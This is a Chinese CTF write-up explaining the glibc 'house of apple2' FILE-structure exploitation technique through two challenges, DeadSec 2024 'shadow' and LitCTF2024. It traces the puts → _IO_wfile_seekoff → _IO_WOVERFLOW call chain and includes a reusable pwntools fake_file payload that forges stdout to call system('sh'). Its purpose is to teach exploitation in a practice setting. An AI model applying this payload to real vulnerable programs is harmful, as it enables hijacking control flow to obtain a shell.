学习和使用house of apple2的一些自己的理解。
0x00 前言 之前傻乎乎的在网上找资料学习的时候学得一头雾水,最近才忽然想到为什么不去roderick师傅的博客 直接看本人的分析呢。然后发现roderick师傅写的是最详细最易懂的,推荐正在学习apple2的师傅直接去看。
我这里据两道题来分析,记录一下学习的过程。
0x01 知识点分析『DeadSec CTF 2024』shadow 略过泄露堆地址和libc地址的过程,详情看这篇文章 。这里直接关注利用house of apple2来getshell的部分。
基础知识回顾 apple系列手法主要是劫持FILE结构中的_wide_data
成员中的_wide_vtable
中的某个函数指针为ogg或者system。要劫持哪个函数取决于选择的调用链。如果忘记或者不清楚的,建议先看原博客文章,再来看这里的具体分析。
分析 menu显示用的是puts函数(也可能是printf打印了出字符串加换行结尾,这种情况编译器也会将printf优化成puts函数),我们考虑劫持puts函数的输出流来打apple2。
puts函数正常执行流程 我们先关注一下puts函数正常执行流程是怎么样的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 int _IO_puts (const char *str) { int result = EOF; size_t len = strlen (str); _IO_acquire_lock (stdout ); if ((_IO_vtable_offset (stdout ) != 0 || _IO_fwide (stdout , -1 ) == -1 ) && _IO_sputn (stdout , str, len) == len && _IO_putc_unlocked ('\n' , stdout ) != EOF) result = MIN (INT_MAX, len + 1 ); _IO_release_lock (stdout ); return result; }
1 #define _IO_sputn(__fp, __s, __n) _IO_XSPUTN (__fp, __s, __n)
puts函数会通过宏调用到_IO_XSPUTN
函数,随后又会通过根据偏移在vtable跳转到对应函数去执行
1 #define _IO_XSPUTN(FP, DATA, N) JUMP2 (__xsputn, FP, DATA, N)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 struct _IO_jump_t { JUMP_FIELD(size_t , __dummy); JUMP_FIELD(size_t , __dummy2); JUMP_FIELD(_IO_finish_t, __finish); JUMP_FIELD(_IO_overflow_t, __overflow); JUMP_FIELD(_IO_underflow_t, __underflow); JUMP_FIELD(_IO_underflow_t, __uflow); JUMP_FIELD(_IO_pbackfail_t, __pbackfail); JUMP_FIELD(_IO_xsputn_t, __xsputn); <--原本要解析的 JUMP_FIELD(_IO_xsgetn_t, __xsgetn); JUMP_FIELD(_IO_seekoff_t, __seekoff); <--我们想要解析的(准确来说是wide_vtable对应的那个seekoff,往下阅读) JUMP_FIELD(_IO_seekpos_t, __seekpos); JUMP_FIELD(_IO_setbuf_t, __setbuf); JUMP_FIELD(_IO_sync_t, __sync); JUMP_FIELD(_IO_doallocate_t, __doallocate); JUMP_FIELD(_IO_read_t, __read); JUMP_FIELD(_IO_write_t, __write); JUMP_FIELD(_IO_seek_t, __seek); JUMP_FIELD(_IO_close_t, __close); JUMP_FIELD(_IO_stat_t, __stat); JUMP_FIELD(_IO_showmanyc_t, __showmanyc); JUMP_FIELD(_IO_imbue_t, __imbue); };
如果按照roderick师傅给出的三个调用链,那么我们需要让puts函数调用到__overflow
或者__doallocate
两个位置上。这里我选用了另一条调用链,需要从__seekoff
作为入口。
劫持vtable指针 正常执行puts函数的话肯定不会达到__seekoff
,所以我们要修改vtable指针为正常虚表地址加上0x10的偏移,让puts函数从xsputn解析到seekoff。因为只是加个偏移,虚表依然位于libc的虚表段中,不会触发检查报错。当然,这里虚表需要我们写入的是_IO_wfile_jumps+0x10
,因为要调用到_wide_data
成员相关的函数。这里是我们要修改的第一个地方。
1 2 3 4 5 struct _IO_FILE_plus { FILE file; const struct _IO_jump_t *vtable ; <---要改成_IO_wfile_jumps+0x10 };
劫持_wide_data 下面是第二个要修改的地方,file结构体中的_wide_data
指针
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 struct _IO_FILE { int _flags; ... __off64_t _offset; struct _IO_codecvt *_codecvt ; struct _IO_wide_data *_wide_data ; <---要修改的指针 struct _IO_FILE *_freeres_list ; void *_freeres_buf; size_t __pad5; int _mode; char _unused2[15 * sizeof (int ) - 4 * sizeof (void *) - sizeof (size_t )]; };
我们需要将他修改为一个可控的地址,用来伪造虚表。我们来看一下这个结构体
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 struct _IO_wide_data { wchar_t *_IO_read_ptr; wchar_t *_IO_read_end; wchar_t *_IO_read_base; wchar_t *_IO_write_base; wchar_t *_IO_write_ptr; wchar_t *_IO_write_end; wchar_t *_IO_buf_base; wchar_t *_IO_buf_end; wchar_t *_IO_save_base; wchar_t *_IO_backup_base; wchar_t *_IO_save_end; __mbstate_t _IO_state; __mbstate_t _IO_last_state; struct _IO_codecvt _codecvt ; wchar_t _shortbuf[1 ]; const struct _IO_jump_t *_wide_vtable ; };
可以发现他和_IO_FILE
结构体很像,其实作用几乎是相同的。我们来看为什么我们需要劫持这个成员,首先来看_IO_wfile_jumps
结构体
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 const struct _IO_jump_t _IO_wfile_jumps libio_vtable ={ JUMP_INIT_DUMMY, JUMP_INIT(finish, _IO_new_file_finish), JUMP_INIT(overflow, (_IO_overflow_t) _IO_wfile_overflow), JUMP_INIT(underflow, (_IO_underflow_t) _IO_wfile_underflow), JUMP_INIT(uflow, (_IO_underflow_t) _IO_wdefault_uflow), JUMP_INIT(pbackfail, (_IO_pbackfail_t) _IO_wdefault_pbackfail), JUMP_INIT(xsputn, _IO_wfile_xsputn), JUMP_INIT(xsgetn, _IO_file_xsgetn), JUMP_INIT(seekoff, _IO_wfile_seekoff), JUMP_INIT(seekpos, _IO_default_seekpos), JUMP_INIT(setbuf, _IO_new_file_setbuf), JUMP_INIT(sync, (_IO_sync_t) _IO_wfile_sync), JUMP_INIT(doallocate, _IO_wfile_doallocate), JUMP_INIT(read, _IO_file_read), JUMP_INIT(write, _IO_new_file_write), JUMP_INIT(seek, _IO_file_seek), JUMP_INIT(close, _IO_file_close), JUMP_INIT(stat, _IO_file_stat), JUMP_INIT(showmanyc, _IO_default_showmanyc), JUMP_INIT(imbue, _IO_default_imbue) };
根据前面分析,我们会执行_IO_wfile_seekoff
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 off64_t _IO_wfile_seekoff (FILE *fp, off64_t offset, int dir, int mode) { off64_t result; off64_t delta, new_offset; long int count; if (mode == 0 ) return do_ftell_wide (fp); int must_be_exact = ((fp->_wide_data->_IO_read_base == fp->_wide_data->_IO_read_end) && (fp->_wide_data->_IO_write_base == fp->_wide_data->_IO_write_ptr)); bool was_writing = ((fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base) || _IO_in_put_mode (fp)); if (was_writing && _IO_switch_to_wget_mode (fp)) return WEOF; ...(这个函数很长很长)
fp指向当前FILE(例如puts函数对应stdout)。显然这个函数的条件判断等等都用的是指向wide_data中的成员来操作,所以我们需要将_wide_data
指向一个可控地址来伪造条件才能进入我们想要进入的调用链。
伪造条件进入调用链 我们需要从seekoff函数进入到_IO_switch_to_wget_mode
中,从上面的代码不难看出,我们想执行到这个函数,首先需要满足was_writing
为真,即满足fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base
。这就需要在_wide_data
对应的可控地址中进行修改。
1 2 3 4 5 6 7 8 9 10 11 12 13 struct _IO_wide_data { wchar_t *_IO_read_ptr; wchar_t *_IO_read_end; wchar_t *_IO_read_base; wchar_t *_IO_write_base; <--改小 wchar_t *_IO_write_ptr; <--改大 wchar_t *_IO_write_end; ... const struct _IO_jump_t *_wide_vtable ; <--下面还会修改这个指针为可控地址 };
再来关注_IO_switch_to_wget_mode
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 int _IO_switch_to_wget_mode (FILE *fp) { if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base) if ((wint_t )_IO_WOVERFLOW (fp, WEOF) == WEOF) return EOF; if (_IO_in_backup (fp)) fp->_wide_data->_IO_read_base = fp->_wide_data->_IO_backup_base; else { fp->_wide_data->_IO_read_base = fp->_wide_data->_IO_buf_base; if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_read_end) fp->_wide_data->_IO_read_end = fp->_wide_data->_IO_write_ptr; } fp->_wide_data->_IO_read_ptr = fp->_wide_data->_IO_write_ptr; fp->_wide_data->_IO_write_base = fp->_wide_data->_IO_write_ptr = fp->_wide_data->_IO_write_end = fp->_wide_data->_IO_read_ptr; fp->_flags &= ~_IO_CURRENTLY_PUTTING; return 0 ; }
当满足fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base
时,会执行到_IO_WOVERFLOW
函数,刚刚已经构造好了,所以不用再修改其他东西
1 2 3 4 5 6 7 8 9 10 11 12 #define _IO_WOVERFLOW(FP, CH) WJUMP1 (__overflow, FP, CH) #define WJUMP0(FUNC, THIS) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS) #define _IO_WIDE_JUMPS_FUNC(THIS) _IO_WIDE_JUMPS(THIS) #define _IO_WIDE_JUMPS(THIS) \ _IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data)->_wide_vtable #define _IO_CAST_FIELD_ACCESS(THIS, TYPE, MEMBER) \ (*(_IO_MEMBER_TYPE (TYPE, MEMBER) *)(((char *) (THIS)) \ + offsetof(TYPE, MEMBER)))
它会通过宏展开调用到_wide_vtable
指向的虚表中的__overflow
指向的函数。而这个虚表没有检查,所以可以将__overflow
指针改成ogg或者system函数,通过上述调用链,就能拿到shell了。想要修改函数指针,我们就需要将_wide_vtable
指针成员改为可控地址,并在对应偏移处写上你想要劫持的函数即可。
1 extern int __overflow (FILE *, int );
根据函数原型可知函数的第一个参数是FILE指针本身,所以如果有参数,要写在flags位上,前面要加上两个空格。
总结 调用链如下:
1 2 3 4 5 puts _IO_XSPUTN(原解析) --> _IO_wfile_seekoff(现解析) _IO_switch_to_wget_mode _IO_WOVERFLOW *(fp->_wide_data->_wide_vtable + 0x18 )(fp)
要修改的东西如下(fp代指_IO_2_1_stdout_->file
):
vtable
改成_IO_wfile_jumps+0x10
fp -> _wide_data
改成一个可控地址,这道题里直接改成了_IO_2_1_stdout_
fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base
fp -> _wide_data -> _wide_vtable
改成一个可控地址,这道题里改成了_IO_2_1_stdout_-8
fp -> _wide_data -> _wide_vtable -> overflow
改成ogg或system
板子 1 2 3 4 5 6 7 8 9 10 fake_file = flat({ 0x0 : b' sh;' , 0x10 : p64(libc_base + libc.symbols['system' ]), 0x20 : p64(libc_base + libc.symbols['_IO_2_1_stdout_' ]), 0x88 : p64(libc_base + libc.symbols['_environ' ]-0x10 ), 0xa0 : p64(libc_base + libc.symbols['_IO_2_1_stdout_' ]), 0xd8 : p64(libc_base + libc.symbols['_IO_wfile_jumps' ] + 0x10 ), 0xe0 : p64(libc_base + libc.symbols['_IO_2_1_stdout_' ]-8 ), }, filler=b"\x00" )
关于_lock的一些思考 每个师傅自己调的板子都会有些不太一样,有些师傅的wp里会给file中的_lock
也写上一个值,有些没有,甚至每个板子写的lock地址还不一样。这个应该和题目或者是调用链有关。我想尝试从源码或者汇编中找出一些关于覆写_lock的必要性,奈何水平不够,没能分析出来个所以然,但是网上也没有多少师傅提到过这个成员,唯一能找到的说法是要给lock覆写一个可写地址。我尝试在这道题里随便写上一个堆地址,但是没能打通。下面大概讲讲我挣扎的过程,但是结论有待验证。
我们先来看看不给lock覆写值会发生什么。从脚本进行调试并且链接了源码调试。
程序卡在一个cmpxchg
的指令,对应的源码是和lock相关的。那个语句可以通过宏定义展开,但是我看的一头雾水,所以我选择去看看其对应的汇编语句。
从0x8CAFB开始往下分析,首先将_IO_2_1_stdout_
的地址赋给了r12,将flags与0x8000做与运算并根据结果选择分支;如果不满足跳转条件,则取出stdout+0x88也就是_lock处的内容赋给rdi,将fs+0x10(是一个指向tls结构体的指针)赋给了rbp,然后将_lock
处内容+8后取出里面的内容和rbp做比较,然后分支可能就会进入到cmpxchg指令中。关于这个指令的解释网上资料 有很多,简单来讲就是个比较交换的操作。
在上述这些步骤中,我们可以关注到关于这个lock至少需要满足这些要求:
[_lock]可读
[_lock+8]可读
[[_lock]]可写
其实也就是覆写上去的那个地址要可写。当然,这些条件不是在每个情况下都要满足,也不是在每道题都要写lock的,上述过程里是有几个条件判断分支的,所以要结合具体情况来分析到底需不需要写lock上去。
我并不确定我的分析是否正确,结论也只经过了少量验证,而且总有几率会-11报错终止程序,所以有待进一步分析。并且目前遇到了另一个奇怪的问题。_lock只被覆写了低两个字节,而高四个字节依然是libc的地址的高位(经过几次实验发现是_IO_stdfile_1_lock
的地址高位)。如下,我写入一个堆地址,然而lock位上的地址只有两位被改变了。这个问题尚未找到原因。就这个情况而言,我们只能写一个和_IO_stdfile_1_lock
很接近的地址才能行得通,堆地址是不行的。这样的话好像不如直接写固定偏移(0x21ca70)好了。(24.8.7)
经过挣扎,又问了xf1les爷,终于找到答案了。这里用堆地址没法打通只是这道题用了gets函数来接收数据的原因。因为gets函数是逐字节读取数据的,这也就意味着地址会一个字节一个字节地写到lock上,然而写上去的过程中,gets会不断调用_IO_acquire_lock(stdout)
,也就是从stdout这个fp中取出lock来用,而其中lock地址可能不是一个可读可写的地址,这就导致了程序会一直卡在cmpxchg这个指令上。如果是read函数,则这样的问题不会出现,堆地址是可以使用的。(24.8.10)
从另一个角度看,如果调用链和程序原本的函数没有使用到stdout的lock的话,我们甚至可以不用覆写lock。这也就是为什么有些师傅的板子里没有写lock。
0x02 如何调试程序『LitCTF2024』2.35 执行流程:
1 2 3 4 5 6 exit _IO_cleanup _IO_flush_all_lockp _IO_wfile_overflow _IO_wdoallocbuf _IO_WDOALLOCATE --> system
调试板子: 断点在脚本edit之后,exit之前。
查看修改后的_IO_list_all
1 p/x *(struct _IO_FILE_plus *)_IO_list_all
可以看到vtable已经被劫持为_IO_wfile_jumps
了。同时也可以看到_wide_data
也被劫持成了一个堆地址,这个堆地址是通过largebin attack写进去的。